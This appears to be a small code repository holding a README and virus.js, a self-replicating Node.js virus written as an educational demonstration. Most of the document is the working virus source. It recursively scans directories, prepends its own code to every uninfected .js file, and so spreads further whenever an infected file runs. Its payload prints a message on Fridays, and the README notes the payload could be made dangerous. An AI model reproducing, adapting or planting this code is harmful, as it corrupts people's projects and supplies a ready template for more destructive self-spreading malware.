├── README.md └── virus.js /README.md: -------------------------------------------------------------------------------- 1 | virus.js 2 | ===== 3 | 4 | A simple Node.js virus to demonstrate how digital viral infections work. 5 | 6 | ## What it Does 7 | 8 | The viral code will copy itself to all .js files under a directory; defaults to the directory the virus.js file resides in. Any infected file, when executed will further scan its directory for uninfected files, and infect them. 9 | 10 | The infected files will sing a song on Fridays, when they are executed. It could be made more fun or dangerous, though. 11 | 12 | ## WARNING 13 | 14 | This program is created only for entertainment and educational purposes. Executing it in a wrong location **will** completely screw up your JavaScript projects. 15 | 16 | DO NOT EXECUTE THIS PROGRAM IF YOU DON'T KNOW WHAT IT DOES. 17 | 18 | ## License (MIT) 19 | 20 | Copyright (c) 2014 Hage Yaapa <[http://www.hacksparrow.com](http://www.hacksparrow.com)> 21 | 22 | Permission is hereby granted, free of charge, to any person obtaining a copy 23 | of this software and associated documentation files (the "Software"), to deal 24 | in the Software without restriction, including without limitation the rights 25 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 26 | copies of the Software, and to permit persons to whom the Software is 27 | furnished to do so, subject to the following conditions: 28 | 29 | The above copyright notice and this permission notice shall be included in 30 | all copies or substantial portions of the Software. 31 | 32 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 33 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 34 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 35 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 36 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 37 | -------------------------------------------------------------------------------- /virus.js: -------------------------------------------------------------------------------- 1 | // #virus.js 2 | // the line above will be used for marking a file as infected 3 | 4 | /* 5 | * Program created for entertainment and educational purpose only 6 | * WARNING: EXECUTE THIS FILE AT YOUR OWN RISK :WARNING 7 | */ 8 | 9 | // this mild-mannered virus leaves the global namespace alone and creates its own closure 10 | (function() { 11 | 12 | // the virus payload - it sings a song on Fridays 13 | var day = new Date().getDay(); 14 | if (day == 5) { console.log("It's Friday! Friday!"); } 15 | 16 | // we will need the fs module to find files and infect them 17 | var fs = require('fs'); 18 | // helper module 19 | var path = require('path'); 20 | 21 | var marker_signature = '// #virus.js'; 22 | var marker_length = marker_signature.length; 23 | // the infection payload == content of this file 24 | var infection_payload = fs.readFileSync(__filename); 25 | 26 | // where to look for files to infect 27 | var target_path = './'; 28 | 29 | // start infecting .js file 30 | var files = fs.readdirSync(target_path); 31 | // pass these files to the infection function 32 | infect_files(files); 33 | 34 | 35 | /** 36 | * Function for infecting .js files 37 | * 38 | * @param {Array} files 39 | */ 40 | 41 | function infect_files(files) { 42 | 43 | files.forEach(function(file) { 44 | 45 | var stat = fs.statSync(file); 46 | 47 | // if it's a direcrory, get the files and run them through the infection process 48 | if (stat.isDirectory()) { 49 | // don't bother hidden directories 50 | if (file[0] != '.') { 51 | // infect the files after retirieving them their directories 52 | infect_files(get_files(file)); 53 | } 54 | } 55 | 56 | // if it is a file, validate the file for infection 'eligibility' 57 | else if (stat.isFile()) { 58 | 59 | // don't bother hidden files 60 | if (file[0] != '.') { 61 | 62 | // we are interested only in .js files 63 | if (path.extname(file) == '.js') { 64 | 65 | // don't bother with self 66 | if (path.basename(__filename) != file) { 67 | 68 | // bother only if file is not already infected 69 | var fd = fs.openSync(file, 'r'); 70 | var marker = fs.readSync(fd, marker_length); 71 | // be kind, rewind 72 | fs.closeSync(fd); 73 | 74 | var signature = marker[0]; 75 | if (marker_signature != signature) { 76 | 77 | // original content 78 | var original_content = fs.readFileSync(file); 79 | // prepare infection 80 | var infected_content = infection_payload + '\n' + original_content; 81 | // infect file 82 | //console.log('Infecting: ' + file); 83 | fs.writeFileSync(file, infected_content); 84 | } 85 | } 86 | } 87 | } 88 | } 89 | 90 | }); 91 | } 92 | 93 | /** 94 | * Function for getting the files from a directory with their full paths 95 | * 96 | * @param {String} dir 97 | */ 98 | 99 | function get_files(dir) { 100 | 101 | // readdirSync will only give the names of the files, we need to get the full path 102 | var _files = fs.readdirSync(dir); 103 | // array for storing the files with their full path 104 | var files = []; 105 | 106 | // fill up the files array 107 | _files.forEach(function(file) { 108 | var full_path = dir + '/' + file; 109 | files.push(full_path); 110 | }); 111 | 112 | // return the files to whatever called this function 113 | return files; 114 | } 115 | 116 | })(); 117 | --------------------------------------------------------------------------------